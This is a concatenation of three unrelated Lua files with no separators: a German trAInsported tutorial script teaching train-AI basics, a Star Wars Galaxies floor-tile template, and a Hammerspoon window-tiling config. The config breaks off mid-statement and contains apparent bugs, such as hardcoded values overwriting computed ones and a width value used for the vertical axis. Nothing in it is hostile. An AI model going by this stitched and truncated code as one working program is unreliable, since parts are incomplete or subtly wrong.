tutorial = {} tutMap = {} tutMap.width = 5 tutMap.height = 4 for i = 0, tutMap.width+1 do tutMap[i] = {} end tutMap[1][3] = "C" tutMap[2][3] = "C" tutMap[2][4] = "C" tutMap[3][4] = "C" tutMap[4][4] = "C" tutMap[5][4] = "C" tutMap[1][2] = "PS" tutorialSteps = {} currentStep = 1 currentStepTitle = "" currentTutBox = nil local CODE_printHelloTrains = parseCode([[ print( "Hallo trAIns!" ) ]]) local CODE_trainPlacing = parseCode([[ function ai.init() buyTrain( 1, 3 ) end ]]) local CODE_eventExamples = parseCode([[ -- Wird zum Rundenbeginn aufgerufen function ai.init( map, money ) -- Wird aufgerufen, wenn Zug an Kreuzung ankommt: function ai.chooseDirection(train, possibleDirections) -- Aufgrerufen, wenn Zug am Zielort des Passagiers ankommt. function ai.foundPassengers(train, passengers) ]]) local CODE_pickUpPassenger1 = parseCode([[ -- Code der später den Passagier aufnehmen wird function ai.foundPassengers( train, passengers ) -- "Körper" der Funktion hier. end ]]) local CODE_pickUpPassenger2 = parseCode([[ -- Code der den Passagier aufnimmt: function ai.foundPassengers( train, passengers ) return passengers[1] end ]]) local CODE_dropOffPassenger = parseCode([[ function ai.foundDestination(train) -- Passagier absetzten: dropPassenger(train) end ]]) function nextTutorialStep() tutorialBox.succeedOff() currentStep = currentStep + 1 showCurrentStep() end function prevTutorialStep() currentStep = currentStep - 1 showCurrentStep() end function showCurrentStep() if cBox then codeBox.remove(cBox) cBox = nil end if additionalInfoBox then tutorialBox.remove(additionalInfoBox) additionalInfoBox = nil end if tutorialSteps[currentStep].event then tutorialSteps[currentStep].event() end if currentTutBox then TUT_BOX_X = currentTutBox.x TUT_BOX_Y = currentTutBox.y tutorialBox.remove(currentTutBox) end if tutorialSteps[currentStep].stepTitle then currentStepTitle = tutorialSteps[currentStep].stepTitle else local l = currentStep - 1 while l > 0 do if tutorialSteps[l] and tutorialSteps[l].stepTitle then currentStepTitle = tutorialSteps[l].stepTitle break end l = l - 1 end end currentTutBox = tutorialBox.new( TUT_BOX_X, TUT_BOX_Y, tutorialSteps[currentStep].message, tutorialSteps[currentStep].buttons ) end function startThisTutorial() --define buttons for message box: print("tutorialSteps[1].buttons", tutorialSteps[1].buttons[1].name) if currentTutBox then tutorialBox.remove(currentTutBox) end currentTutBox = tutorialBox.new( TUT_BOX_X, TUT_BOX_Y, tutorialSteps[1].message, tutorialSteps[1].buttons ) STARTUP_MONEY = 50 timeFactor = 0.5 end function tutorial.start() aiFileName = "TutorialAI1.lua" --ai.backupTutorialAI(aiFileName) ai.createNewTutAI(aiFileName, fileContent) stats.start( 1 ) tutMap.time = 0 map.print() loadingScreen.reset() loadingScreen.addSection("Neue Karte") loadingScreen.addSubSection("Neue Karte", "Größe: " .. tutMap.width .. "x" .. tutMap.height) loadingScreen.addSubSection("Neue Karte", "Zeit: Tag") loadingScreen.addSubSection("Neue Karte", "Tutorial 1: Baby-Schritte") train.init() train.resetImages() ai.restart() -- make sure aiList is reset! print("AI DIR:",AI_DIRECTORY) print("AI NAME:",aiFileName) ok, msg = pcall(ai.new, AI_DIRECTORY .. aiFileName) if not ok then print("Err: " .. msg) else stats.setAIName(1, aiFileName:sub(1, #aiFileName-4)) train.renderTrainImage(aiFileName:sub(1, #aiFileName-4), 1) end tutorial.noTrees = true -- don't render trees! map.generate(nil,nil,1,tutMap) tutorial.createTutBoxes() tutorial.mapRenderingDoneCallback = startThisTutorial menu.exitOnly() end function tutorial.endRound() tutorial.placedFirstPassenger = nil end local codeBoxX, codeBoxY = 0,0 local tutBoxX, tutBoxY = 0,0 --[[ function additionalInformation(text) return function() if not additionalInfoBox then if currentTutBox then TUT_BOX_X = currentTutBox.x TUT_BOX_Y = currentTutBox.y end if TUT_BOX_Y + TUT_BOX_HEIGHT + 50 < love.graphics.getHeight() then -- only show BELOW the current box if there's still space there... additionalInfoBox = tutorialBox.new(TUT_BOX_X, TUT_BOX_Y + TUT_BOX_HEIGHT +10, text, {}) else -- Otherwise, show it ABOVE the current tut box! additionalInfoBox = tutorialBox.new(TUT_BOX_X, TUT_BOX_Y - 10 - TUT_BOX_HEIGHT, text, {}) end end end end]]-- function tutorial.createTutBoxes() CODE_BOX_X = love.graphics.getWidth() - CODE_BOX_WIDTH - 30 CODE_BOX_Y = (love.graphics.getHeight() - TUT_BOX_HEIGHT)/2 - 50 local k = 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Wie es begann..." tutorialSteps[k].message = "Willkommen bei trAInsported!" tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Tutorial beginnen", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Die nahe Zukunft: Vor ein paar Jahren wurde ein neues Produkt auf dem internationalen Markt veröffentlicht: Züge, die von Künstlicher Intelligenz gesteuert werden, besser bekannt als 'trAIns'." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Es gibt drei große Unterschiede zwischen normalen Zügen und trAIns. Erstens nehmen trAIns immer maximal einen Passagier auf einmal auf. Zweitens fahren sie (hoffentlich) genau dorthin, wo der Passagier hin will. Drittens werden sie komplett von Künstlicher Intelligenz (KI) gesteuert." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Theoretisch könnte dieses neue Verkehrssystem also Wunder bewirkt haben. Umweltverschmutzung ist gesunken, keiner braucht mehr eigene Fahrzeuge und es gibt keine Unfälle mehr aufgrund der hochintelligenten Systeme.\n\nEs gibt da nur ein Problem..." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Wo es Profit gibt, gibt es auch immer bald Konkurenz. Neue Unternehmen versuchen alle, im neuen Markt Fuß zu fassen. Und hier kommst du ins Spiel. Dein Job wird es sein, für dein Unternehmen die beste, effizienteste und schnellste KI zu programmieren!\nGenug geredet - fangen wir an!" tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Controls" tutorialSteps[k].message = "In diesem Tutorial lernst du:\n1) Die Bedienung des Spiels\n2) Wie man Züge kauft\n3) Wie du deinen ersten Passagier zum Ziel bringen kannst." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Klicke auf die Karte und ziehe die Maus, um die Kamera zu bewegen. Mit dem Mausrad (oder Q und E) kannst du zoomen.\nDu kannst auch jederzeit F1 drücken, um die Hotkeys anzuzeigen - Versuche es!\nDanach geht das Tutorial weiter..." tutorialSteps[k].event = setF1Event(k) tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Gut. Weiter im Text.\nAlle Skripte die du schreibst werden in einem Ordner abgespeichert. Öffne den Ordner mithilfe des 'Ordner Öffnen'-Knopfes. Dann öffne die darin liegende TutorialAI1.lua mit einem beliebigen Text-Editor und lies sie.\nSollte das nicht funktionieren, findest du den Ordner hier: " .. AI_DIRECTORY tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} if love.filesystem.getWorkingDirectory() then tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Wenn du den Ordner nicht finden kannst, ist er möglicherweise versteckt. Suche am besten im Internet danach, wie man auf deinem System versteckte Ordner anzeigen kann, zum Beispiel: 'Windows 7 Zeige versteckte Ordner'\nAußerdem: Jeder normale Text-Editor sollte genügen, aber es gibt einige kostenlose, die das Programmieren vereinfachen. Gute Beispiele, die man sich gerne angucken darf, sind:\nGedit, Vim (Linux)\nNotepad++ (Windows)"), inBetweenSteps = true} tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep} else tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} end k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Kommunikation" tutorialSteps[k].message = "Okay, schreiben wir Code!\nDie erste Sache die wir lernen müssen ist, wie du mit dem Spiel aus dem Code heraus kommunizieren kannst. Tippe den Code, der in der Code-Box rechts angezeigt wird ans Ende von TutorialAI1.lua. Wenn du fertig bist, speichere die Datei und klicke auf 'Neu Laden' am unteren Rand vom Spielfenster." tutorialSteps[k].event = firstPrint(k) tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Die 'print' Funktion druckt allen Text (also alles zwischen \" Anführungszeichen) oder Variablen in die Konsole. Das wird dir später das Finden von Fehlern erleichtern."), inBetweenSteps = true} --tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Gut gemacht.\n\n..." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Wie die KI funktioniert" tutorialSteps[k].message = "Es gibt bestimmte Funktionen, die die KI brauchen wird, um zu funktionieren. In jeder Runde werden, wenn bestimmte Dinge passieren, passende Funktionen in deinem Code aufgerufen. Hier sind einige Beispiele in der Code-Box. Dein Job ist es also später, diese Funktionen mit Inhalt zu füllen." tutorialSteps[k].buttons = {} tutorialSteps[k].event = setCodeExamples tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Den ersten Zug kaufen!" tutorialSteps[k].message = "Schreibe jetzt den Code in der Code-Box unter die Zeile mit 'print', von vorher. Das wird deinen ersten Zug kaufen und ihn an die Position x=1, y=3 setzen. Die Karte ist in Quadrate eingeteilt. Halte 'M' gedrückt um die Koordinaten dieser Quadrate zu sehen. der X-Wert wird von links nach rechts größer, der Y-Wert von oben nach unten. Wenn du fertig bist, speichere wieder und wähle 'Neu Laden'." tutorialSteps[k].event = setTrainPlacingEvent(k) tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Achtung,\ndie Koordinaten (X und Y) laufen von 1 bis zur Breite (bzw Höhe) der Karte. Später zur mehr zur Kartenbreite bzw. -höhe.\nWenn du buyTrain mit Koordinaten aufrufst, die kein Quadrat mit Schiene beschreiben, wird das Spiel automatisch nach Schienen in der Nähe suchen und den Zug dorthin setzen."), inBetweenSteps = true} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Super, du hast gerade deinen ersten Zug auf die Karte gesetzt! Er wird automatisch immer weiter geradeaus fahren." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Du hast inzwischen eine einfach ai.init Funktion programmiert.\nDie Funktion 'ai.init()' ist die Funktion die später immer am Anfang des Spiels aufgerufen wird. In dieser Funktion kannst du später also die Karte analysieren, deine Vorgehensweise planen und - wie wir es eben getan haben - deinen ersten Zug kaufen." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Die Funktion ai.init() wird immer mit 2 Argumenten aufgerufen, etwa so: ai.init( map, money )\nDas Erste beschreibt die momentane Karte (mehr dazu später) und das Zweite das Vermögen dass du zum Anfang schon hast. Du hast immer am Anfang genug Geld um mindestens einen Zug zu kaufen.\nAber für den Moment können wir diese Argumente vollkommen ignorieren."), inBetweenSteps = true} tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Passagiere aufnehmen" tutorialSteps[k].message = "Ich habe eben einen Passagier auf die Karte gesetzt. Ihr Name ist GLaDOS. Halte die Leertaste gedrückt, um zu sehen wo sie hin will!\n\nPassagiere erscheinen immer nur neben einer Schiene und wollen zu einem anderen Quadrat mit einer Schiene." tutorialSteps[k].event = setPassengerStart(k) tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("GLaDOS will zum Kuchen-Laden. Sie hat mal jemandem sehr wichtigem einen Kuchen versprochen, das Versprechen aber nie eingelöst.\n\n...\nDas soll sich jetzt ändern."), inBetweenSteps = true} tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Dein Job ist es, den Passagier aufzunehmen und sie zu ihrem Ziel zu bringen. Dafür müssen wir die Funktion 'ai.foundPassengers' für unsere TutorialAI1 definieren. Diese Funktion wird immer dann aufgerufen, wenn einer deiner Züge ein Quadrat erreicht, auf dem mindestens ein Passagier steht." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Die Funktion ai.foundPassengers wird zwei Argumente haben: Das Erste, 'train', sagt uns, welcher Zug die Passagiere gefunden hat. Das Zweite, 'passengers', sagt uns, welche Passagiere gefunden wurden - nämlich die, die auf dem gleichen Quadrat stehen wie der Zug. Mit diesen beiden können wir gleich dem Zug sagen, welchen Passagier er aufnehmen soll." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Definieren wir zuerst unsere Funktion. Tippe den Code, der in der Code-Box gezeigt wird, in die .lua Datei. Du musst die Kommentare (Zeilen, die mit '- -' anfangen) nicht abtippen." tutorialSteps[k].buttons = {} tutorialSteps[k].event = pickUpPassengerStep1 tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Du musst zwei Dinge wissen:\n1. 'passengers' ist eine Liste von allen Passagieren auf dem momentanen Quadrat.\nUm einzelne Passagiere anzusprechen kann man passengers[1], passengers[2], passenger[3] usw. verwendenen. Wenn die Funktion ai.foundPassengers einen Passagier zurückgibt - mit einem 'return' Statement -, dann wird der Zug diesen Passagier aufnehmen." tutorialSteps[k].buttons = {} tutorialSteps[k].event = pickUpPassengerStep1 tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Das heißt dass der Passagier nur dann aufgenommen wird, wenn der Zug nicht schon einen anderen Passagier befördert."), inBetweenSteps = true} tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Es gibt nur einen Passagier, also ist in der Liste nur einen Passagier, der in diesem Fall durch passengers[1] angesprochen wird (ein Zweiter wäre passengers[2] usw). Wenn wir also diesen passenger[1] per 'return' zurückgeben wird GLaDOS in den Zug steigen.\nSchreibe die neue Zeile in die Funktion von eben, so wie in der Code-Box angezeigt.\nWenn du damit fertig bist, lade den Code neu und sieh zu, wie dein Zug GLaDOS aufnimmt!" tutorialSteps[k].buttons = {} tutorialSteps[k].event = pickUpPassengerStep2(k) tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Du hast erfolgreich GLaDOS aufgenommen!\nDas Bild des Zuges hat sich verändert, um anzuzeigen, dass er jetzt besetzt ist.\n\nWir sind fast fertig - wir müssen sie nur noch absetzen!" tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Aussteigen, bitte!" tutorialSteps[k].message = "Du kannst jederzeit Passagiere absetzen, indem du die Funktion dropPassenger(train) in deinem Programm aufrufst. Um die Dinge zu vereinfachen wird immer, wenn ein Zug am Ziel des Passagiers den er gerade trägt angekommen ist, die Funktion ai.foundDestination() in deinem Programm aufgerufen - wenn du sie programmiert hast.\nAlso programmieren wir sie jetzt!" tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Schreibe die Funktion in der Code-Box ans Ende von TutorialAI1.lua.\nDann starte die Runde wieder neu und warte bis der Zug GLaDOS ans Ziel gebracht hat." tutorialSteps[k].buttons = {} tutorialSteps[k].event = dropOffPassengerEvent(k) tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].stepTitle = "Fertig!" tutorialSteps[k].message = "Yay, du hast das erste Tutorial beendet!\n\nKlicke auf 'Mehr Ideen' um ein paar Tipps zu bekommen, was du noch alles versuchen kannst bevor du mit dem nächsten Tutorial weitermachst." tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Mehr Ideen", event = additionalInformation("1. Versuche etwas in die Konsole zu schreiben wenn der Zug einen Passagier aufnimmt und wenn er einen Passagier absetzt (z.B. 'Willkommen!' und 'Tschüss').\n2. Kaufe zwei Züge statt nur einem, indem du buyTrain zweimal aufrufst, in ai.init().\n3. Lass einen Zug rechts unten auf der Karte starten, statt links oben!"), inBetweenSteps = true} tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep} k = k + 1 tutorialSteps[k] = {} tutorialSteps[k].message = "Direkt zum nächsten Tutorial oder zurück ins Menü:" tutorialSteps[k].buttons = {} tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep} tutorialSteps[k].buttons[2] = {name = "Schließen", event = endTutorial} tutorialSteps[k].buttons[3] = {name = "Nächstes Tutorial", event = nextTutorial} k = k + 1 end function firstPrint(k) return function() setFirstPrintEvent(k) cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_printHelloTrains) console.setVisible(true) quickHelp.setVisibility(false) end end function endTutorial() map.endRound() mapImage = nil curMap = nil tutorial = {} menu.init() end function nextTutorial() map.endRound() mapImage = nil curMap = nil tutorial = {} menu.init() menu.executeTutorial("Tutorial2.lua") end function setF1Event(k) return function() tutorial.f1Event = function () tutorial.f1Event = nil if currentStep == k then nextTutorialStep() tutorialBox.succeed() --play succeed sound! end end end end function setFirstPrintEvent(k) tutorial.consoleEvent = function (str) if str:sub(1, 13) == "[TutorialAI1]" then if str:upper() == string.upper("[TutorialAI1]\tHallo trAIns!") then tutorialSteps[k+1].message = "Super!\nDein Text sollte in der Konsole links erscheinen. Die Konsole zeigt dir auch, welche der KIs den Text geschrieben hat, in diesem Fall TutorialAI1. Das wird später eine Rolle spielen, wenn mehr als eine KI im Spiel ist.\n(Wenn du den Text nicht sehen kannst, kannst du dieses Info-Fenster verschieben in dem du draufklickst und es wegziehst.)" else tutorialSteps[k+1].message = "Nicht genau der richtige Text, aber das passt schon.\n\nDein Text sollte in der Konsole links erscheinen. Die Konsole zeigt dir auch, welche der KIs den Text geschrieben hat, in diesem Fall TutorialAI1. Das wird später eine Rolle spielen, wenn mehr als eine KI im Spiel ist.\n(Wenn du den Text nicht sehen kannst, kannst du dieses Info-Fenster verschieben in dem du draufklickst und es wegziehst.)" end tutorial.consoleEvent = nil if currentStep == k then nextTutorialStep() tutorialBox.succeed() end end end end function setCodeExamples() cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_eventExamples) end function setTrainPlacingEvent(k) return function() cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_trainPlacing) tutorial.trainPlacingEvent = function() tutorial.trainPlacingEvent = nil tutorial.trainPlaced = true tutorial.numPassengers = 0 if currentStep == k then nextTutorialStep() tutorialBox.succeed() end end end end function setPassengerStart(k) return function() if not tutorial.placedFirstPassenger then passenger.new(5,4, 1,3, "Am Ende gibt es Kuchen. Und eine Party. Nein, wirklich!") -- place passenger at 3, 4 wanting to go to 1,3 tutorial.placedFirstPassenger = true tutorial.restartEvent = function() print(currentStep, k) if currentStep >= k then -- if I haven't gone back to a previous step passenger.new(5,4, 1,3, "Am Ende gibt es Kuchen. Und eine Party. Nein, wirklich!") -- place passenger at 3, 4 wanting to go to 1,3 tutorial.placedFirstPassenger = true end end end end end function pickUpPassengerStep1() cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_pickUpPassenger1) end function pickUpPassengerStep2(k) return function() cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_pickUpPassenger2) tutorial.passengerPickupEvent = function() tutorial.passengerPickupEvent = nil if currentStep == k then nextTutorialStep() tutorialBox.succeed() end end end end function dropOffPassengerEvent(k) return function() cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_dropOffPassenger) tutorial.passengerDropoffCorrectlyEvent = function() tutorial.passengerDropoffCorrectlyEvent = nil if currentStep == k then nextTutorialStep() tutorialBox.succeed() end end tutorial.passengerDropoffWronglyEvent = function() -- called when the passenger is dropped off elsewhere if currentTutBox then currentTutBox.text = "Passagier am falschen Ort abgesetzt!\n\nSchreibe die Funktion die in der Code-Box angezeigt wird in deine TutorialAI1.lua Datei!" end end end end function tutorial.roundStats() love.graphics.setColor(255,255,255,255) x = love.graphics.getWidth()-roundStats:getWidth()-20 y = 20 love.graphics.draw(roundStats, x, y) love.graphics.print("Tutorial 1: Baby-Schritte", x + roundStats:getWidth()/2 - FONT_STAT_MSGBOX:getWidth("Tutorial 1: Baby-Schritte")/2, y+10) love.graphics.print(currentStepTitle, x + roundStats:getWidth()/2 - FONT_STAT_MSGBOX:getWidth(currentStepTitle)/2, y+30) end function tutorial.handleEvents(dt) newTrainQueueTime = newTrainQueueTime + dt*timeFactor if newTrainQueueTime >= .1 then train.handleNewTrains() newTrainQueueTime = newTrainQueueTime - .1 end end fileContent = [[ -- Tutorial 1: Baby-Schritte -- Was du wissen solltest: -- a) Zeilen die mit zwei Minus-Zeichen beginnen (--) sind Kommentare und werden vom Spiel ignoriert. -- b) Alle dein Code wird in der Lua-Skript-Sprache geschrieben. -- c) Die Anfänge von Lua sind recht einfach zu lernen, und dieses Spiel wird sie dir Schritt für Schritt beibringen. -- d) Lua ist nicht nur einfach sondern auch sehr, sehr schnell. Um es kurz zu fassen: -- e) Lua doesn't suck. -- Gehe jetzt wieder ins Spiel zurück und drücke dort auf den "Weiter" Knopf. -- Noch eine Bemerkung: Es gibt Text-Editoren die das Programmieren erleichtern, weil sie bestimmte Schlüsselwörter hervorherben und einfärben. Beispiel: Notepad++ oder gedit. Man findet auch viele, wenn man im Internet nach "Lua editor" sucht. Es funktioniert aber auch jedes normale Text-Programm. ]]
object_tangible_furniture_flooring_tile_frn_flooring_tile_s12 = object_tangible_furniture_flooring_tile_shared_frn_flooring_tile_s12:new { } ObjectTemplates:addTemplate(object_tangible_furniture_flooring_tile_frn_flooring_tile_s12, "object/tangible/furniture/flooring/tile/frn_flooring_tile_s12.iff")
-- Copyright (c) 2016 Miro Mannino -- Permission is hereby granted, free of charge, to any person obtaining a copy of this -- software and associated documentation files (the "Software"), to deal in the Software -- without restriction, including without limitation the rights to use, copy, modify, merge, -- publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons -- to whom the Software is furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in all copies -- or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, -- INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR -- PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE -- FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR -- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -- DEALINGS IN THE SOFTWARE. hs.window.animationDuration = 0.01 local sizes = {2, 3, 3/2} local fullScreenSizes = {1, 4/3, 2} local GRID = {w = 24, h = 24} hs.grid.setGrid(GRID.w .. 'x' .. GRID.h) hs.grid.MARGINX = 0 hs.grid.MARGINY = 0 local pressed = { up = false, down = false, left = false, right = false } function nextStep(dim, offs, cb) if hs.window.focusedWindow() then local axis = dim == 'w' and 'x' or 'y' local oppDim = dim == 'w' and 'h' or 'w' local oppAxis = dim == 'w' and 'y' or 'x' local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) local nextSize = sizes[1] for i=1,#sizes do if cell[dim] == GRID[dim] / sizes[i] and (cell[axis] + (offs and cell[dim] or 0)) == (offs and GRID[dim] or 0) then nextSize = sizes[(i % #sizes) + 1] break end end cb(cell, nextSize) if cell[oppAxis] ~= 0 and cell[oppAxis] + cell[oppDim] ~= GRID[oppDim] then cell[oppDim] = GRID[oppDim] cell[oppAxis] = 0 end hs.grid.set(win, cell, screen) end end function nextFullScreenStep() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) local nextSize = fullScreenSizes[1] for i=1,#fullScreenSizes do if cell.w == GRID.w / fullScreenSizes[i] and cell.h == GRID.h / fullScreenSizes[i] and cell.x == (GRID.w - GRID.w / fullScreenSizes[i]) / 2 and cell.y == (GRID.h - GRID.h / fullScreenSizes[i]) / 2 then nextSize = fullScreenSizes[(i % #fullScreenSizes) + 1] break end end cell.w = GRID.w / nextSize cell.h = GRID.h / nextSize cell.x = (GRID.w - GRID.w / nextSize) / 2 cell.y = (GRID.h - GRID.h / nextSize) / 2 cell.w = 22 cell.h = 22 cell.x = 0 cell.y = 0 hs.grid.set(win, cell, screen) end end fullWidth = 24 fullHeight = 24 hMargin = 0.4 vMargin = 0.7 function full() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = fullWidth - .4 cell.h = fullHeight - .5 cell.x = .2 cell.y = .25 hs.grid.set(win, cell, screen) end end function top() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = fullWidth - ( hMargin * 2 ) cell.h = (fullHeight - ( vMargin * 3 )) / 2 cell.x = hMargin cell.y = vMargin hs.grid.set(win, cell, screen) end end function bottom() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = fullWidth - ( hMargin * 2 ) cell.h = (fullHeight - ( vMargin * 3 )) / 2 cell.x = hMargin cell.y = ( vMargin * 2 ) + cell.h hs.grid.set(win, cell, screen) end end function centerOnly() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.x = ( fullWidth - cell.w ) / 2 cell.y = ( fullWidth - cell.h ) / 2 hs.grid.set(win, cell, screen) end end function center() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = ( fullWidth / 7 ) * 3 cell.h = ( fullHeight / 5 ) * 4 cell.x = ( fullWidth - cell.w ) / 2 cell.y = ( fullWidth - cell.h ) / 2 hs.grid.set(win, cell, screen) local log = hs.logger.new('mymodule','debug') log.i(cell) -- will print "[mymodule] Initializing" to the console end end function centerWide() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = ( fullWidth / 9 ) * 6 cell.h = ( fullHeight / 5 ) * 4 cell.x = ( fullWidth - cell.w ) / 2 cell.y = ( fullWidth - cell.h ) / 2 hs.grid.set(win, cell, screen) local log = hs.logger.new('mymodule','debug') log.i(cell) -- will print "[mymodule] Initializing" to the console end end function left() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = ( fullWidth / 2 ) cell.h = fullHeight cell.x = 0 cell.y = 0 hs.grid.set(win, cell, screen) end end function right() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = 